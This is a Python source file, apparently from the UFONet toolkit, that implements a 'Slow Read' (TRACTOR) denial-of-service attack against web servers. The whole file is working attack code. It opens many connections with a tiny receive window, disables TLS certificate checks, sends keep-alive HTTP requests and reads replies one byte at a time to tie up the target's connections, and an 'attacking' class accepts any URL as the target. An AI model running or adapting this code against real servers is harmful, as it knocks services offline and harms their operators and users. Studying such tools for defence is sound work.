slowread.py 3.4 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import socket, ssl, time, random, sys
  11. from urllib.parse import urlparse
  12. # UFONet Slow Read (TRACTOR) - LORIS-style but reading the response 1 byte at a time
  13. # holds the TCP window open by advertising a tiny receive window
  14. def tractorize(host, port, rounds, hold=30):
  15. n=0
  16. use_tls = (port == 443)
  17. ctx = None
  18. if use_tls:
  19. ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
  20. ctx.check_hostname = False
  21. ctx.verify_mode = ssl.CERT_NONE
  22. socks = []
  23. try:
  24. for i in range(int(rounds)):
  25. n += 1
  26. try:
  27. raw = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  28. raw.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 256)
  29. raw.settimeout(10)
  30. raw.connect((host, port))
  31. if use_tls:
  32. sock = ctx.wrap_socket(raw, server_hostname=host)
  33. else:
  34. sock = raw
  35. req = (
  36. "GET /?_=" + str(random.randint(1, 10**9)) + " HTTP/1.1\r\n"
  37. "Host: " + host + "\r\n"
  38. "User-Agent: Mozilla/5.0 UFONet-TRACTOR\r\n"
  39. "Accept: */*\r\n"
  40. "Connection: keep-alive\r\n"
  41. "Range: bytes=0-1\r\n"
  42. "\r\n"
  43. )
  44. sock.sendall(req.encode('utf-8'))
  45. socks.append(sock)
  46. print("[Info] [AI] [TRACTOR] 'tractor beam' ["+str(n)+"] -> [CONNECTED!]")
  47. except Exception as e:
  48. print("[Error] [AI] [TRACTOR] Failed beam ["+str(n)+"]: " + type(e).__name__)
  49. deadline = time.time() + hold
  50. while time.time() < deadline and socks:
  51. for s in list(socks):
  52. try:
  53. chunk = s.recv(1)
  54. if not chunk:
  55. socks.remove(s)
  56. try: s.close()
  57. except Exception: pass
  58. except socket.timeout:
  59. continue
  60. except Exception:
  61. socks.remove(s)
  62. try: s.close()
  63. except Exception: pass
  64. time.sleep(2)
  65. finally:
  66. for s in socks:
  67. try: s.close()
  68. except Exception: pass
  69. class SLOWREAD(object):
  70. def attacking(self, target, rounds):
  71. print("[Info] [AI] Slow Read (TRACTOR) is ready to fire: [", rounds, "beams ]")
  72. port = 80
  73. if target.startswith('http://'):
  74. target = target.replace('http://','')
  75. elif target.startswith('https://'):
  76. target = target.replace('https://','')
  77. port = 443
  78. if '/' in target:
  79. target = target.split('/', 1)[0]
  80. if ':' in target:
  81. target, _p = target.rsplit(':', 1)
  82. try:
  83. port = int(_p)
  84. except Exception:
  85. pass
  86. try:
  87. socket.gethostbyname(target)
  88. except Exception:
  89. print("[Info] [AI] [TRACTOR] Could not resolve target -> [Aborting!]")
  90. return
  91. tractorize(target, port, rounds)